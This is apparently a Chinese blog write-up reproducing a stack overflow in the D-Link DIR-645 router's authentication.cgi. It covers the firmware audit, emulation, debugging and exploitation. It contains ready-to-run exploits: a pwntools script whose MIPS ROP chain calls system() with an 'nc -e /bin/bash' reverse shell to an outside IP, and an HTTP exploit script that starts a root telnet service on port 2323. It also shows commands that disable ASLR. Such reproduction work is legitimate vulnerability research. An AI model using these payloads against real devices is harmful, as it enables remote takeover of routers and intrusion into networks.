D-link DIR-645路由器溢出漏洞分析

固件下载

DIR645固件下载地址:https://pan.baidu.com/s/1B7fDB4NETjdGWtlkiPULpw

提取码:5iaz

固件提取

./extract-firmware.sh DIR645A1_FW103RUB08.bin

官方漏洞揭露

该漏洞是CGI脚本在处理authentication.cgi请求,将请求头的CONTENT_LENGTH值作为read函数读取文件的内容大小,由于该值可控,因此造成read函数的缓冲区溢出。

按照dlin-815漏洞的规律,先查看一下这个cgi脚本所指向的位置

指向cgibin的文件,那我们开始审计cgibin,并确定漏洞位置

代码审计

漏洞位置确定

shift+f12进行搜索并查看哪个函数引用了他

看到一个authentication的函数,审计一下

漏洞触发条件

条件1:

REQUEST_METHOD不为0

sub_40A424这个函数应该很熟悉吧,在复现dlink815的时候已经分析过了,其实就是把uid=后的数值获取我

条件2:

要使这个函数返回1,输入的字符串 a1 应该不等于 "/htdocs/web/authentication.cgi" 且不等于 "/htdocs/web/authentication_logout.cgi"。要使这个函数返回3,输入的字符串 a1 应该等于 "/htdocs/web/webfa_authentication.cgi"。

struct sysinfo结构体分析

struct sysinfo 是一个用于获取系统信息的结构体,通常在Linux和Unix系统中使用。它的目的是提供关于系统整体性能和资源使用情况的信息,以便应用程序和系统管理员可以更好地了解系统的状态和性能。

struct sysinfo 结构体包含了以下信息:

uptime:系统的运行时间,以秒为单位。这表示自系统启动以来经过的时间。

loads[3]:包含了1分钟、5分钟和15分钟的平均负载值。这些值表示系统中活动进程的数量。负载值通常用于衡量系统的繁忙程度。

totalram:系统总的可用RAM大小,以字节为单位。

freeram:系统中可用的空闲RAM大小,以字节为单位。

sharedram:被多个进程共享的RAM大小,以字节为单位。

bufferram:用于缓冲区的RAM大小,以字节为单位。

totalswap:系统总的交换空间大小,以字节为单位。交换空间是用于辅助RAM的虚拟内存。

freeswap:系统中可用的空闲交换空间大小,以字节为单位。

procs:系统当前运行的进程数量。

totalhigh:高内存区的总大小,以字节为单位。这是一些系统中特殊的内存区域。

freehigh:系统中可用的空闲高内存区的大小,以字节为单位。

mem_unit:内存单位的大小,通常为1字节。

unlink函数是删除文件

最后会把这些临时文件给删除

条件3:

得是get请求

阅读代码其实发现get请求的话干了几件事情

1、生成一个随机字符串。

2、获取系统的UUID。

3、获取系统的运行时间(uptime)。

4、多次调用 sub_40A960 函数进行文件读取

满足以上条件,就可以运行到溢出的地方了

authenticationcgi_main内的条件已经审计结束,接下来看看如何触发authenticationcgi_main函数

main

但是在前面审计我们发现,条件2,要让程序正常进入溢出的功能点

"/htdocs/web/authentication.cgi“,应该是这个,所以审计结束

环境搭建

延续815的搭建方法,在这里不过多赘述,设置网卡和把文件上传之后,开启http服务

把这里改成对应的cgi即可

cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/authentication.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
http://192.168.100.2:4321/authentication.cgi

poc编写

payload是a*0x5000

#deb cdrom:[Ubuntu 20.04.4 LTS _Focal Fossa_ - Release amd64 (20220223)]/ focal main restricted
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/authentication.cgi|echo "winmt=pwner"

去ida看一下

也就是end分支里面的内容

这个地方是有return的,溢出完了之后可以到这里

v9等于5的情况下

发现获取CONTENT_LENGTH后返回值等于0

export CONTENT_LENGTH=100000

研究了一下发现,其实是以字符串的转化为数字的,我直接让他等于10000不行,所以应该这样子写

export CONTENT_LENGTH="100000"

加入之后调试

之后的atoi函数

现在达到溢出条件了

但是我在后续down掉了断点发现

在这个函数里面down掉了,没读到uid,但是我设置cookie的值,有uid,继续执行,在下面down看,第二个箭头的位置

export HTTP_COOKIE="uid=1234"

原因是我没有设置cookie的值导致程序出现错误

设置了uid发现,在第二个箭头的位置又down掉了,审计了一下发现遇到&或者\x00截断,原本我的uid后面没有截断,所以一直一直在读循环,一直在处理后面的字符串没有停下来,所以得设置一下uid,在后面加个&就OK了

export HTTP_COOKIE="uid=abcdefg&password=1234"

漏洞利用

寻找基地址

echo 0 > /proc/sys/kernel/randomize_va_space
/htdocs/web/authentication.cgi & cat /proc/2386/maps

exp

# -*- coding: utf-8 -*-
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr = base_addr + 0x53200
rop1 = base_addr + 0x159CC 		# addiu $s5,$sp,0x170+var_160 | jalr $s0 |
rop2 = base_addr + 0x2D194 		# addiu $s0,1 				  | jalr $s5 |
padding = 'uid=1234&password=' + 'a' * (1050 - 4*9)
padding += p32(system_addr-1)	# s0       
padding += 'a' * 4				# s1
padding += 'a' * 4				# s2
padding += 'a' * 4				# s3
padding += 'a' * 4				# s4
padding += p32(rop1)			# s5
padding += 'a' * 4				# s6
padding += 'a' * 4				# s7
padding += 'a' * 4				# fd
padding += p32(rop2)			# ra       
padding += 'a' * 0x10
padding += 'nc -e /bin/bash 192.168.204.228 9999'
padding += 'a' * 0x10
p='a'*0x3000
f = open("payload",'wb')
f.write(padding)
f.close()

利用poc.sh

export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export HTTP_COOKIE="uid=abcdefg&password=1234"
export REQUEST_URI="/authentication.cgi"
export CONTENT_LENGTH="1090"
echo "`cat payload`"|./gdbserver.mipsel 192.168.100.2:8888 /htdocs/web/authentication.cgi

 0x77f61194 <gets+132>                       addiu  $s0, $s0, 1
   0x77f61198 <gets+136>                       move   $t9, $s5
   0x77f6119c <gets+140>                       jalr   $t9

老套路了,为了防止/x00截断,system-1然后利用onegadget让system+1

# -*- coding: utf-8 -*-
#!/usr/bin/env python
#####################################################################################
# Exploit for the DIR-605L CAPTCHA login stack based buffer overflow
#vulnerability. # Spawns a reverse root shell to 192.168.1.100 on port
#8080. # Tested against firmware versions 1.10, 1.12 and 1.13. # #
### 06-October-2012
#####################################################################################

import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib

class MIPSPayload:
    BADBYTES = [0x00]
    LITTLE = "little"
    BIG = "big"
    FILLER = "A"
    BYTES = 4

    def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
        self.libase = libase
        self.shellcode = ""
        self.endianess = endianess
        self.badbytes = badbytes

    def rand_text(self, size):
        str = ''
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        length = len(chars) - 1
        random = Random()
        for i in range(size):
            str += chars[random.randint(0,length)]
        return str

    def Add(self, data):
        self.shellcode += data

    def Address(self, offset, base=None):
        if base is None:
            base = self.libase
        return self.ToString(base + offset)

    def AddAddress(self, offset, base=None):
        self.Add(self.Address(offset, base))

    def AddBuffer(self, size, byte=FILLER):
        self.Add(byte * size)

    def AddNops(self, size):
        if self.endianess == self.LITTLE:
            self.Add(self.rand_text(size))
        else:
            self.Add(self.rand_text(size))

    def ToString(self, value, size=BYTES):
        data = ""
        for i in range(0, size):
            data += chr((value >> (8*i)) & 0xFF)
        if self.endianess != self.LITTLE:
            data = data[::-1]
        return data

    def Build(self):
        count = 0
        for c in self.shellcode:
            for byte in self.badbytes:
                if c == chr(byte):
                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
            count += 1
        return self.shellcode

    def Print(self, bpl=BYTES):
        i = 0
        for c in self.shellcode:
            if i == 4:
                print ""
                i = 0
            sys.stdout.write("\\x%.2X" % ord(c))
            sys.stdout.flush()
            if bpl > 0:
                i += 1
        print "\n"

class HTTP:
    HTTP = 'http'

    def __init__(self, host, proto=HTTP, port=4321, verbose=False):
        self.host = host
        self.proto = proto
        self.port = port
        self.verbose = verbose
        self.encode_params = True

    def Encode(self, data):
        if type(data) == dict:
            pdata = []
            for k in data.keys():
                pdata.append(k + '=' + data[k])
            data = pdata[1] + '&' + pdata[0]
        else:
            data = urllib.quote_plus(data)
        return data

    def Send(self, uri, headers={}, data=None, response=False, encode_params=True):
        html = ""
        if uri.startswith('/'):
            c = ''
        else:
            c = '/'

        url = '%s://%s:%d' % (self.proto, self.host, self.port)
        uri = '/%s' % uri
        if data is not None:
            data = self.Encode(data)
        if self.verbose:
            print url
        httpcli = httplib.HTTPConnection(self.host, self.port, timeout=30)
        httpcli.request('POST', uri, data, headers=headers)
        response = httpcli.getresponse()
        print response.status
        print response.read()

if __name__ == '__main__':
    libc = 0x2aaf8000    # so动态库的加载基址
    target = {
        "1.03"  :   [
            0x531ff,    # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
            0x158c8,    # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
            0x159cc,    # rop chain 2(执行system函数,传参cmd以执行命令
            ],
        }
    v = '1.03'
    cmd = 'telnetd -p 2323'        # 待执行的cmd命令:在2323端口开启telnet服务
    ip = '192.168.100.2'        # 服务器IP地址//here
    start='uid=1234&password='
    # 构造payload
    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
    payload.Add(start)
    payload.AddNops(1050 - 4*9)                # filler # 7. 填充1011个字节,前面已有'AbC'
    payload.AddAddress(target[v][0], base=libc)    # $s0
    payload.AddNops(4)                            # $s1
    payload.AddNops(4)                            # $s2
    payload.AddNops(4)                            # $s3
    payload.AddNops(4)                            # $s4
    payload.AddAddress(target[v][2], base=libc)    # $s5
    payload.AddNops(4)                            # unused($s6)
    payload.AddNops(4)                            # unused($s7)
    payload.AddNops(4)                            # unused($fp)
    payload.AddAddress(target[v][1], base=libc)    # $ra
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.Add(cmd)                # shellcode

    # 构造http数据包
    pdata = {
        'uid'       :   '3Ad4',
        'password'  :   'AbC' + payload.Build(),
        }
    header = {
        'Cookie'        : 'uid='+'3Ad4',
        'Accept-Encoding': 'gzip, deflate',
         'Content-Length': '1098',  # 设置 Content-Length 为 1090
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'User-Agent'    : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
        }

    # 发起http请求
    try:
        HTTP(ip, port=4321).Send('authentication.cgi', data=pdata, headers=header, encode_params=False, response=True)
        print '[+] execute ok'
    except httplib.BadStatusLine:
        print "Payload deliverd."
    except Exception, e:
        print "Payload delivery failed: %s" % str(e)

posted @ 2024-09-06 16:08  L1N_yun  阅读(250)  评论(0)    收藏  举报